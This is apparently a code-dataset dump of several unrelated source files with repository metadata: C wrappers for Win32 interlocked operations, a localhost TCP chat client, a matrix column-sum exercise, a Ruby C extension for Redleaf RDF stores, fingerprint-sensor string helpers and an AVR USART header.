incremented value. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_043: [ interlocked_increment_16 shall call InterlockedIncrement16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_044: [ interlocked_increment_16 shall return the incremented 16-bit integer. ]*/ return InterlockedIncrement16((volatile SHORT*)addend); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_increment_64, volatile int64_t*, addend) { /*Codes_SRS_INTERLOCKED_43_023 [ interlocked_increment_64 shall atomically increment (increase by one) the 64-bit variable *addend.]*/ /*Codes_SRS_INTERLOCKED_43_054: [ interlocked_increment_64 shall return the incremented value. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_045: [ interlocked_increment_64 shall call InterlockedIncrement64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_046: [ interlocked_increment_64 shall return the incremented 64-bit integer. ]*/ return InterlockedIncrement64((volatile LONG64*)addend); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_or, volatile int32_t*, destination, int32_t, value) { /*Codes_SRS_INTERLOCKED_43_024 [ interlocked_or shall perform an atomic bitwise OR operation on the 32-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_055: [ interlocked_or shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_047: [ interlocked_or shall call InterlockedOr from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_048: [ interlocked_or shall return the initial value of *destination. ]*/ return InterlockedOr((volatile LONG*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_or_16, volatile int16_t*, destination, int16_t, value) { /*Codes_SRS_INTERLOCKED_43_025 [ interlocked_or_16 shall perform an atomic bitwise OR operation on the 16-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_056: [ interlocked_or_16 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_049: [ interlocked_or_16 shall call InterlockedOr16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_050: [ interlocked_or_16 shall return the initial value of *destination. ]*/ return InterlockedOr16((volatile SHORT*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_or_64, volatile int64_t*, destination, int64_t, value) { /*Codes_SRS_INTERLOCKED_43_026 [ interlocked_or_64 shall perform an atomic bitwise OR operation on the 64-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_057: [ interlocked_or_64 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_051: [ interlocked_or_64 shall call InterlockedOr64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_052: [ interlocked_or_64 shall return the initial value of *destination. ]*/ return InterlockedOr64((volatile LONG64*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int8_t, interlocked_or_8, volatile int8_t*, destination, int8_t, value) { /*Codes_SRS_INTERLOCKED_43_027 [ interlocked_or_8 shall perform an atomic bitwise OR operation on the 8-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_058: [ interlocked_or_8 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_053: [ interlocked_or_8 shall call InterlockedOr8 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_054: [ interlocked_or_8 shall return the initial value of *destination. ]*/ return InterlockedOr8((volatile char*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int32_t, interlocked_xor, volatile int32_t*, destination, int32_t, value) { /*Codes_SRS_INTERLOCKED_43_028 [ interlocked_xor shall perform an atomic bitwise XOR operation on the 32-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_059: [ interlocked_xor shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_055: [ interlocked_xor shall call InterlockedXor from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_056: [ interlocked_xor shall return the initial value of *destination. ]*/ return InterlockedXor((volatile LONG*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int16_t, interlocked_xor_16, volatile int16_t*, destination, int16_t, value) { /*Codes_SRS_INTERLOCKED_43_029 [ interlocked_xor_16 shall perform an atomic bitwise XOR operation on the 16-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_060: [ interlocked_xor_16 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_057: [ interlocked_xor_16 shall call InterlockedXor16 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_058: [ interlocked_xor_16 shall return the initial value of *destination. ]*/ return InterlockedXor16((volatile SHORT*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int64_t, interlocked_xor_64, volatile int64_t*, destination, int64_t, value) { /*Codes_SRS_INTERLOCKED_43_030 [ interlocked_xor_64 shall perform an atomic bitwise XOR operation on the 64-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_061: [ interlocked_xor_64 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_059: [ interlocked_xor_64 shall call InterlockedXor64 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_060: [ interlocked_xor_64 shall return the initial value of *destination. ]*/ return InterlockedXor64((volatile LONG64*)destination, value); } IMPLEMENT_MOCKABLE_FUNCTION(, int8_t, interlocked_xor_8, volatile int8_t*, destination, int8_t, value) { /*Codes_SRS_INTERLOCKED_43_031 [ interlocked_xor_8 shall perform an atomic bitwise XOR operation on the 8-bit integers *destination and value and store the result in destination.]*/ /*Codes_SRS_INTERLOCKED_43_062: [ interlocked_xor_8 shall return the initial value of *destination. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_061: [ interlocked_xor_8 shall call InterlockedXor8 from windows.h. ]*/ /*Codes_SRS_INTERLOCKED_WIN32_43_062: [ interlocked_xor_8 shall return the initial value of *destination. ]*/ return InterlockedXor8((volatile char*)destination, value); }
70.062315
267
0.798738
6d9e4b8df66c321328cfd7475b3b495a1b8bc929
3,297
c
C
client/client.c
KatyaProkhorchuk/UChat
86a0215d8c5b29b04488554f14a456f2c2e0e95d
[ "MIT" ]
null
null
null
client/client.c
KatyaProkhorchuk/UChat
86a0215d8c5b29b04488554f14a456f2c2e0e95d
[ "MIT" ]
null
null
null
client/client.c
KatyaProkhorchuk/UChat
86a0215d8c5b29b04488554f14a456f2c2e0e95d
[ "MIT" ]
null
null
null
#include "./inc/client.h" volatile sig_atomic_t flag = 0; int sockfd = 0; char nickname[LENGTH_NAME] = {}; void catch_ctrl_c_and_exit(int sig) { flag = 1; } void recv_msg_handler() { char receiveMessage[LENGTH_SEND] = {}; while (1) { int receive = recv(sockfd, receiveMessage, LENGTH_SEND, 0); if (receive > 0) { printf("\r%s\n", receiveMessage); str_overwrite_stdout(); } else if (receive == 0) { break; } else { // -1 } } } void send_msg_handler() { char message[LENGTH_MSG] = {}; while (1) { str_overwrite_stdout(); while (fgets(message, LENGTH_MSG, stdin) != NULL) { str_trim_lf(message, LENGTH_MSG); if (strlen(message) == 0) { str_overwrite_stdout(); } else { break; } } send(sockfd, message, LENGTH_MSG, 0); if (strcmp(message, "exit") == 0) { break; } } catch_ctrl_c_and_exit(2); } int main() { signal(SIGINT, catch_ctrl_c_and_exit); // Naming printf("Please enter your name: "); if (fgets(nickname, LENGTH_NAME, stdin) != NULL) { str_trim_lf(nickname, LENGTH_NAME); } if (strlen(nickname) < 2 || strlen(nickname) >= LENGTH_NAME - 1) { printf("\nName must be more than one and less than thirty characters.\n"); exit(EXIT_FAILURE); } // Create socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { printf("Fail to create a socket."); exit(EXIT_FAILURE); } // Socket information struct sockaddr_in server_info, client_info; int s_addrlen = sizeof(server_info); int c_addrlen = sizeof(client_info); memset(&server_info, 0, s_addrlen); memset(&client_info, 0, c_addrlen); server_info.sin_family = PF_INET; server_info.sin_addr.s_addr = inet_addr("127.0.0.1"); server_info.sin_port = htons(8888); // Connect to Server int err = connect(sockfd, (struct sockaddr *)&server_info, s_addrlen); if (err == -1) { printf("Connection to Server error!\n"); exit(EXIT_FAILURE); } // Names getsockname(sockfd, (struct sockaddr *)&client_info, (socklen_t *)&c_addrlen); getpeername(sockfd, (struct sockaddr *)&server_info, (socklen_t *)&s_addrlen); printf("Connect to Server: %s:%d\n", inet_ntoa(server_info.sin_addr), ntohs(server_info.sin_port)); printf("You are: %s:%d\n", inet_ntoa(client_info.sin_addr), ntohs(client_info.sin_port)); send(sockfd, nickname, LENGTH_NAME, 0); pthread_t send_msg_thread; if (pthread_create(&send_msg_thread, NULL, (void *)send_msg_handler, NULL) != 0) { printf("Create pthread error!\n"); exit(EXIT_FAILURE); } pthread_t recv_msg_thread; if (pthread_create(&recv_msg_thread, NULL, (void *)recv_msg_handler, NULL) != 0) { printf("Create pthread error!\n"); exit(EXIT_FAILURE); } while (1) { if (flag) { printf("\nBye\n"); break; } } close(sockfd); return 0; }
24.242647
103
0.564756
33ac9678730d5c25892e26903b792806ed42bdb5
1,080
c
C
programmazione/laboratori/lab4/somma_colonne_matrice.c
danesinoo/secondo_semestre
c6c284985f59f956d80a7073e5505cb72acaf29d
[ "MIT" ]
null
null
null
programmazione/laboratori/lab4/somma_colonne_matrice.c
danesinoo/secondo_semestre
c6c284985f59f956d80a7073e5505cb72acaf29d
[ "MIT" ]
null
null
null
programmazione/laboratori/lab4/somma_colonne_matrice.c
danesinoo/secondo_semestre
c6c284985f59f956d80a7073e5505cb72acaf29d
[ "MIT" ]
null
null
null
#include <stdio.h> void leggi_array(int * array, unsigned int dim){ for(int i = 0; i< dim; i=i+1){ scanf("%d", array+i); } } void calcola_somma(int *matrix, unsigned int righe, unsigned int colonne, int* somma){ // eseguo un ciclo for per ogni valore nella matrice matrix for (int i = 0; i < righe * colonne; i++) { // il resto della divisione i / colonne ritorna la colonna del valore che devo sommare // e quindi mi basta aggiungerla al puntatore della matrice somma, mentre matrice + i // punta al valore che devo sommare *(somma + (i % colonne)) += *(matrix + i); } } int main(){ int righe, colonne; scanf("%u", &righe); scanf("%u", &colonne); int mat[righe][colonne]; leggi_array(*mat, righe*colonne); // array contenente le somme di ogni colonna int somma[colonne]; //setto tutte le colonne a 0 for (int i = 0; i < colonne; i++) { somma[i] = 0; } calcola_somma(*mat, righe, colonne, somma); for(int i = 0; i < colonne; i = i+1){ printf("La somma della colonna %d è %d\n", i, somma[i]); } }
24
86
0.619444
4bb8c73959e959f6e20369f463415da2c03ea7ce
12,947
c
C
ext/store.c
ged/redleaf
4bbb000cd626714bde747dd8fd1d5d5f72a16e81
[ "BSD-3-Clause" ]
2
2016-02-02T17:57:11.000Z
2021-11-29T00:05:13.000Z
ext/store.c
ged/redleaf
4bbb000cd626714bde747dd8fd1d5d5f72a16e81
[ "BSD-3-Clause" ]
null
null
null
ext/store.c
ged/redleaf
4bbb000cd626714bde747dd8fd1d5d5f72a16e81
[ "BSD-3-Clause" ]
1
2021-11-29T00:05:05.000Z
2021-11-29T00:05:05.000Z
/* * Redleaf::Store -- RDF persistent storage classes * $Id$ * -- * Authors * * - Michael Granger <ged@FaerieMUD.org> * - Mahlon E. Smith <mahlon@martini.nu> * * Copyright (c) 2008, 2009 Michael Granger * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * * Neither the name of the authors, nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * */ #include "redleaf.h" /* -------------------------------------------------------------- * Declarations * -------------------------------------------------------------- */ VALUE rleaf_cRedleafStore; VALUE rleaf_cRedleafHashesStore; static VALUE rleaf_redleaf_store_graph_eq( VALUE, VALUE ); /* -------------------------------------------------- * Memory-management functions * -------------------------------------------------- */ /* * Allocation function */ static rleaf_STORE * rleaf_store_alloc( const char *backend, const char *name, const char *optstring ) { librdf_storage *storage = NULL; rleaf_STORE *ptr = ALLOC( rleaf_STORE ); if ( (storage = librdf_new_storage( rleaf_rdf_world, backend, name, optstring )) == 0 ) rb_raise( rleaf_eRedleafStoreCreationError, "Could not create a new storage with: backend=\"%s\", name=\"%s\", optstring=\"%s\"", backend, name, optstring ); ptr->storage = storage; ptr->graph = Qnil; /* rleaf_log( "debug", "alloc'ed a rleaf_STORE <%p> with storage <%p>", ptr, ptr->storage ); */ return ptr; } /* * GC Mark function */ static void rleaf_store_gc_mark( rleaf_STORE *ptr ) { if ( ptr && ptr->graph ) rb_gc_mark( ptr->graph ); } /* * GC Free function */ static void rleaf_store_gc_free( rleaf_STORE *ptr ) { if ( ptr && rleaf_rdf_world ) { /* Not sure if I need to break the graph<->storage link here, and if I do, how. [MG] */ if ( ptr->storage ) { /* librdf_storage_close( ptr->storage ); */ librdf_free_storage( ptr->storage ); } ptr->graph = Qnil; ptr->storage = NULL; xfree( ptr ); ptr = NULL; } } /* * Object validity checker. Returns the data pointer. */ static rleaf_STORE * check_store( VALUE self ) { /* rleaf_log_with_context( self, "debug", "checking a %s object <0x%x>.", rb_obj_classname(self), self ); */ Check_Type( self, T_DATA ); if ( !IsStore(self) ) { rb_raise( rb_eTypeError, "wrong argument type %s (expected a Redleaf::Store)", rb_obj_classname( self ) ); } return DATA_PTR( self ); } /* * Fetch the data pointer and check it for sanity. */ rleaf_STORE * rleaf_get_store( VALUE self ) { rleaf_STORE *store = check_store( self ); if ( !store ) rb_fatal( "Use of uninitialized Redleaf::Store" ); return store; } /* -------------------------------------------------------------- * Utility functions * -------------------------------------------------------------- */ /* * Make a librdf-style option string out of a Ruby Hash. The returned pointer will need to be * freed by the caller. */ static char * rleaf_optstring_from_rubyhash( VALUE opthash ) { VALUE rb_optstring = rb_funcall( rleaf_cRedleafStore, rb_intern("make_optstring"), 1, opthash ); char *optstring = ALLOC_N( char, RSTRING_LEN(rb_optstring) + 1 ); strncpy( optstring, (const char *)RSTRING_PTR(rb_optstring), RSTRING_LEN(rb_optstring) + 1 ); optstring[ RSTRING_LEN(rb_optstring) ] = '\0'; return optstring; } /* -------------------------------------------------------------- * Class methods * -------------------------------------------------------------- */ /* * call-seq: * Redleaf::Store.allocate -> store * * Allocate a new Redleaf::Store object. * */ static VALUE rleaf_redleaf_store_s_allocate( VALUE klass ) { return Data_Wrap_Struct( klass, rleaf_store_gc_mark, rleaf_store_gc_free, 0 ); } /* * call-seq: * Redleaf::Store.backends -> hash * * Return a Hash of supported backends from the underlying Redland library. * * Redleaf::Store.backends * # => {"uri"=>"URI store (read-only)", * # "memory"=>"In memory", * # "trees"=>"Balanced trees", * # "sqlite"=>"SQLite", * # "postgresql"=>"postgresql database store", * # "file"=>"Local file based store", * # "hashes"=>"Indexed hashes"} */ static VALUE rleaf_redleaf_store_s_backends( VALUE klass ) { VALUE backends = rb_hash_new(); int i = 0; const char *name, *label; while ( (librdf_storage_enumerate(rleaf_rdf_world, i, &name, &label)) == 0 ) { VALUE namestr = name ? rb_str_new2( name ) : rb_str_new( NULL, 0 ); VALUE labelstr = label ? rb_str_new2( label ) : rb_str_new( NULL, 0 ); rb_hash_aset( backends, namestr, labelstr ); i++; } return backends; } /* -------------------------------------------------------------- * Instance methods * -------------------------------------------------------------- */ /* * call-seq: * Redleaf::Store.new -> store * Redleaf::Store.new( config={} ) -> store * * Create a new Redleaf::Store object. . * */ static VALUE rleaf_redleaf_store_initialize( int argc, VALUE *argv, VALUE self ) { rleaf_log_with_context( self, "debug", "Initializing 0x%x", self ); if ( !check_store(self) ) { rleaf_STORE *store; VALUE backend = Qnil, name = Qnil, opthash = Qnil; const char *backendname = NULL, *storename = NULL; char *optstring = NULL; switch ( rb_scan_args(argc, argv, "02", &name, &opthash) ) { case 0: rleaf_log_with_context( self, "debug", "No-arg constructor called." ); opthash = rb_hash_new(); break; case 1: rleaf_log_with_context( self, "debug", "One-arg constructor called: %s.", RSTRING_PTR(rb_inspect(name)) ); if ( TYPE(name) == T_HASH ) { rleaf_log_with_context( self, "debug", "Argument was a opthash; swapping it." ); opthash = name; name = Qnil; } else { opthash = rb_hash_new(); } break; case 2: rleaf_log_with_context( self, "debug", "Two-arg constructor called: %s, %s.", RSTRING_PTR(rb_inspect(name)), RSTRING_PTR(rb_inspect(opthash)) ); break; default: rb_raise( rb_eArgError, "wrong number of arguments (%d for 1)", argc ); } if ( TYPE(opthash) != T_HASH ) rb_raise( rb_eArgError, "cannot convert %s to Hash", rb_obj_classname(opthash) ); /* Get the backend name */ backend = rb_funcall( CLASS_OF(self), rb_intern("validated_backend"), 0 ); backendname = rb_id2name( rb_to_id(backend) ); /* Autogenerate a name for the store if none is specified */ if ( !RTEST(name) ) { VALUE objid = rb_obj_id( self ); name = rb_str_plus( rb_str_new2(backendname), rb_String(objid) ); rleaf_log_with_context( self, "debug", "Autogenerated store name: %s", RSTRING_PTR(name) ); } storename = StringValuePtr( name ); rb_iv_set( self, "@name", name ); rb_iv_set( self, "@opthash", opthash ); /* Make the option string */ optstring = rleaf_optstring_from_rubyhash( opthash ); rleaf_log_with_context( self, "debug", "Got backend = \"%s\", name = \"%s\", optstring = \"%s\"", backendname, storename, optstring ); DATA_PTR( self ) = store = rleaf_store_alloc( backendname, storename, optstring ); xfree( optstring ); } else { rb_raise( rleaf_eRedleafError, "Cannot re-initialize a store once it's been created." ); } return self; } /* * call-seq: * store.has_contexts? -> true or false * * Return +true+ if the backend of the receiver supports contexts and the receiver has them * enabled. * */ static VALUE rleaf_redleaf_store_has_contexts_p( VALUE self ) { rleaf_STORE *store = rleaf_get_store( self ); librdf_iterator *contexts; if ( store->graph == Qnil ) rb_raise( rleaf_eRedleafError, "Storage has not yet been associated with a graph." ); rleaf_log_with_context( self, "debug", "Checking for contexts in %s:%p", rb_obj_classname(self), store ); /* Suggested by laalto on irc://freenode.net/#redland */ if ( (contexts = librdf_storage_get_contexts( store->storage )) == NULL ) { return Qfalse; } else { librdf_free_iterator( contexts ); return Qtrue; } } /* * call-seq: * store.graph -> graph * * Return the Redleaf::Graph associated with this Store, creating one if one if necessary. * */ static VALUE rleaf_redleaf_store_graph( VALUE self ) { rleaf_STORE *store = rleaf_get_store( self ); VALUE graph = Qnil; /* Auto-create a new graph for the store and assign it if it doesn't already have one. */ if ( store->graph == Qnil ) { graph = rb_class_new_instance( 1, &self, rleaf_cRedleafGraph ); return rleaf_redleaf_store_graph_eq( self, graph ); } return store->graph; } /* * call-seq: * store.graph = newgraph * * Set the store's graph to +newgraph+, discarding any previous graph. * */ static VALUE rleaf_redleaf_store_graph_eq( VALUE self, VALUE graphobj ) { rleaf_STORE *store = rleaf_get_store( self ); rleaf_GRAPH *graph = rleaf_get_graph( graphobj ); /* If there was already a graph associated with this store, tell it that its store is going away and break the association. */ if ( store->graph != Qnil ) { rleaf_log_with_context( self, "info", "disassociating current graph <0x%x> from %s <0x%x>", store->graph, rb_obj_classname(self), self ); rb_funcall( store->graph, rb_intern("store="), 1, Qnil ); store->graph = Qnil; if ( librdf_storage_close(store->storage) != 0 ) rb_fatal( "librdf_storage_close failed on rleaf_STORE <%p>.", store ); } rleaf_log_with_context( self, "debug", "Associating rleaf_STORE <%p> with rleaf_GRAPH <%p>", store, graph ); if ( librdf_storage_open(store->storage, graph->model) != 0 ) rb_fatal( "librdf_storage_open failed on rleaf_STORE <%p> for rleaf_GRAPH <%p>", store, graph ); store->graph = graphobj; graph->store = self; return graphobj; } /* * call-seq: * store.sync -> true * * Synchronizes the store to the underlying storage implementation. Raises a RuntimeError if the * sync fails. * */ static VALUE rleaf_redleaf_store_sync( VALUE self ) { rleaf_STORE *store = rleaf_get_store( self ); if ( librdf_storage_sync(store->storage) != 0 ) rb_raise( rleaf_eRedleafError, "Failed to sync to the underlying storage." ); return Qtrue; } /* * Redleaf Store class */ void rleaf_init_redleaf_store( void ) { rleaf_log( "debug", "Initializing Redleaf::Store" ); #ifdef FOR_RDOC rleaf_mRedleaf = rb_define_module( "Redleaf" ); #endif rb_require( "redleaf/store" ); /* Redleaf::Store */ rleaf_cRedleafStore = rb_define_class_under( rleaf_mRedleaf, "Store", rb_cObject ); rb_define_alloc_func( rleaf_cRedleafStore, rleaf_redleaf_store_s_allocate ); rb_define_singleton_method( rleaf_cRedleafStore, "backends", rleaf_redleaf_store_s_backends, 0 ); rb_define_method( rleaf_cRedleafStore, "initialize", rleaf_redleaf_store_initialize, -1 ); /* attr_reader :name */ rb_attr( rleaf_cRedleafStore, rb_intern("name"), 1, 0, Qtrue ); /* attr_reader :opthash */ rb_attr( rleaf_cRedleafStore, rb_intern("opthash"), 1, 0, Qtrue ); rb_define_method( rleaf_cRedleafStore, "has_contexts?", rleaf_redleaf_store_has_contexts_p, 0 ); rb_define_method( rleaf_cRedleafStore, "graph", rleaf_redleaf_store_graph, 0 ); rb_define_method( rleaf_cRedleafStore, "graph=", rleaf_redleaf_store_graph_eq, 1 ); rb_define_method( rleaf_cRedleafStore, "sync", rleaf_redleaf_store_sync, 0 ); /* Redleaf::HashesStore -- the default concrete Store class */ rb_require( "redleaf/store/hashes" ); rleaf_cRedleafHashesStore = rb_define_class_under( rleaf_mRedleaf, "HashesStore", rleaf_cRedleafStore ); }
29.225734
109
0.655441
352dc90ee5f02c42db61d18aa2c9fc9a8982b75e
967
c
C
common/fpsensor/fpsensor_detect_strings.c
IssacAlegre/chrome-ec
19c3731dfd5250bfadaa90940f108476444d49b1
[ "BSD-3-Clause" ]
46
2017-02-12T20:48:45.000Z
2022-03-01T15:53:39.000Z
common/fpsensor/fpsensor_detect_strings.c
IssacAlegre/chrome-ec
19c3731dfd5250bfadaa90940f108476444d49b1
[ "BSD-3-Clause" ]
1
2022-01-08T23:28:01.000Z
2022-01-09T00:43:16.000Z
common/fpsensor/fpsensor_detect_strings.c
IssacAlegre/chrome-ec
19c3731dfd5250bfadaa90940f108476444d49b1
[ "BSD-3-Clause" ]
46
2016-02-07T18:43:27.000Z
2022-01-03T02:30:51.000Z
/* Copyright 2020 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "fpsensor_detect.h" const char *fp_transport_type_to_str(enum fp_transport_type type) { switch (type) { case FP_TRANSPORT_TYPE_UNKNOWN: default: return "UNKNOWN"; case FP_TRANSPORT_TYPE_SPI: return "SPI"; case FP_TRANSPORT_TYPE_UART: return "UART"; } } const char *fp_sensor_type_to_str(enum fp_sensor_type type) { switch (type) { case FP_SENSOR_TYPE_UNKNOWN: default: return "UNKNOWN"; case FP_SENSOR_TYPE_FPC: return "FPC"; case FP_SENSOR_TYPE_ELAN: return "ELAN"; } } const char *fp_sensor_spi_select_to_str(enum fp_sensor_spi_select type) { switch (type) { case FP_SENSOR_SPI_SELECT_UNKNOWN: default: return "UNKNOWN"; case FP_SENSOR_SPI_SELECT_DEVELOPMENT: return "DEVELOPMENT"; case FP_SENSOR_SPI_SELECT_PRODUCTION: return "PRODUCTION"; } }
21.488889
73
0.764219
a6deeb96ac7ffb4af567b28ecfc30028e24a5fa2
358
h
C
src/compiler/scanner.yy.h
leo1553/hrmi
52f25a28d5206a60e2bc562d64397ebb1fd43fea
[ "MIT" ]
3
2021-12-12T19:06:41.000Z
2021-12-27T23:54:55.000Z
src/compiler/scanner.yy.h
leo1553/hrmi
52f25a28d5206a60e2bc562d64397ebb1fd43fea
[ "MIT" ]
1
2021-12-13T01:54:55.000Z
2021-12-13T01:54:55.000Z
src/compiler/scanner.yy.h
leo1553/hrmi
52f25a28d5206a60e2bc562d64397ebb1fd43fea
[ "MIT" ]
3
2021-12-12T22:05:18.000Z
2021-12-13T02:05:54.000Z
#ifndef __INCLUDE_SCANNER_YY_H #define __INCLUDE_SCANNER_YY_H #include "../includes.h" #include "ast.h" void yyerror(char *message); int yyparse(); int yylex(); extern FILE *yyin; extern FILE *yyout; extern char* yytext; extern ast_t *yyast; extern int yylineno; extern char *string_value; void ret_print(char *token_type); void parse_input(); #endif
14.916667
33
0.75419
e67ab2709af4bc78ffb970cfdbcbe26249f42169
3,786
h
C
firmware/uart.h
starnight/DC-Motor
65a3b2d08b4060a781fb1a7ea986ed85bc592961
[ "BSD-3-Clause" ]
null
null
null
firmware/uart.h
starnight/DC-Motor
65a3b2d08b4060a781fb1a7ea986ed85bc592961
[ "BSD-3-Clause" ]
null
null
null
firmware/uart.h
starnight/DC-Motor
65a3b2d08b4060a781fb1a7ea986ed85bc592961
[ "BSD-3-Clause" ]
null
null
null
/*------------------------------------------------------------------------------ Copyright (c) 2014 The Simple Oscilloscope Project. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. ------------------------------------------------------------------------------*/ #ifndef __AVR_ATMEGA328_USART_H__ #define __AVR_ATMEGA328_USART_H__ #include <stdint.h> #include <avr/io.h> #include <avr/interrupt.h> /* Set the default clock rate. */ #ifndef F_CPU #define F_CPU 11059200 #endif /* Set the default USART baud rate. */ #ifndef USART_BAUD #define USART_BAUD 38400 #endif /* Set the default USART double rate. */ #ifndef USART_DOUBLE_RATE #define USART_DOUBLE_RATE 0 #endif /* Calculate USART UBRR. */ #if USART_DOUBLE_RATE #define GetUBRR() (F_CPU/8/USART_BAUD - 1) #else #define GetUBRR() (F_CPU/16/USART_BAUD - 1) #endif /* Define the USART operation mode. */ #define USART_ASYNCHRONOUS_OPERATION 0 #define USART_SYNCHRONOUS_OPERATION 1 /* Set the default USART operation mode. */ #ifndef USART_OPERATION_MODE #define USART_OPERATION_MODE USART_ASYNCHRONOUS_OPERATION #endif /* Define the USART parity mode. */ #define USART_DISABLED_PARITY 0 #define USART_EVEN_PARITY 2 #define USART_ODD_PARITY 3 /* Set the default USART parity mode. */ #ifndef USART_PARITY_MODE #define USART_PARITY_MODE USART_DISABLED_PARITY #endif /* Define the USART stop bits. */ #define USART_1_STOP_BIT 0 #define USART_2_STOP_BITS 1 /* Set the default USART stop bits. */ #ifndef USART_STOP_BIT #define USART_STOP_BIT USART_1_STOP_BIT #endif /* Define the USART character size. */ #define USART_5_DATA_BITS 0 #define USART_6_DATA_BITS 1 #define USART_7_DATA_BITS 2 #define USART_8_DATA_BITS 3 /* Set the default USART data bits. */ #ifndef USART_DATA_BITS #define USART_DATA_BITS USART_8_DATA_BITS #endif /* Enable TX Complete Interrupt. */ #define USARTEnableTXCInterrupt() (UCSR0B |= (1 << TXCIE0)) /* Enable RX Complete Interrupt. */ #define USARTEnableRXCInterrupt() (UCSR0B |= (1 << RXCIE0)) /* Disable TX Complete Interrupt. */ #define USARTDisableTXCInterrupt() (UCSR0B &= ~(1 << TXCIE0)) /* Disable RX Complete Interrupt. */ #define USARTDisableRXCInterrupt() (UCSR0B &= ~(1 << RXCIE0)) /* Initial USART. */ #define USARTInit() ({ \ /* Set baud rate */ \ UBRR0H = (uint8_t)(GetUBRR() >> 8); \ UBRR0L = (uint8_t)GetUBRR(); \ /* Double USART transmition rate. */ \ UCSR0A = (UCSR0A & (~(1 << U2X0))) | (USART_DOUBLE_RATE << U2X0); \ /* Enable receiver and transmitter */ \ UCSR0B = (1 << RXEN0) | (1 << TXEN0); \ /* Set frame format: asynchronous, 8 data, no parity, 1 stop bit */ \ UCSR0C = (USART_OPERATION_MODE << UMSEL00) | \ (USART_PARITY_MODE << UPM00) | \ (USART_STOP_BIT << USBS0) | \ (USART_DATA_BITS << UCSZ00); }) /* Send 1 byte through USART. */ #define USARTSend1Byte(data) (UDR0 = data) /* Read 1 byte from USART. */ #define USARTRead1Byte() (UDR0) /* Send 1 byte through USART with blocking. */ #define USARTSend1ByteBlocking(data) ({ \ /* Wait for empty transmit buffer */ \ while (!(UCSR0A & (1<<UDRE0))); \ /* Put data into buffer, sends the data */ \ USARTSend1Byte(data); }) /* Read 1 byte from USART with blocking. */ #define USARTRead1ByteBlocking() ({ \ /* Wait for data to be received */ \ while(!(UCSR0A & (1<<RXC0))); \ /* Get and return received data from buffer */ \ USARTRead1Byte(); }) /* Define the interrupt service routine for one byte had send through USART. */ #define USARTTXCompleteEvent() ISR(USART_TX_vect) /* Define the interrupt service routine for one byte had read from USART. */ #define USARTRXCompleteEvent() ISR(USART_RX_vect) #ifdef USART_STREAM /* Send string in bytes with blocking. */ uint8_t UARTSendStream(uint8_t *); #endif #endif
31.289256
80
0.692552
b03f371f7b761a24a7d384f55972f093df192739
14,952
h
C
goofy.h
lleonart1984/goofy
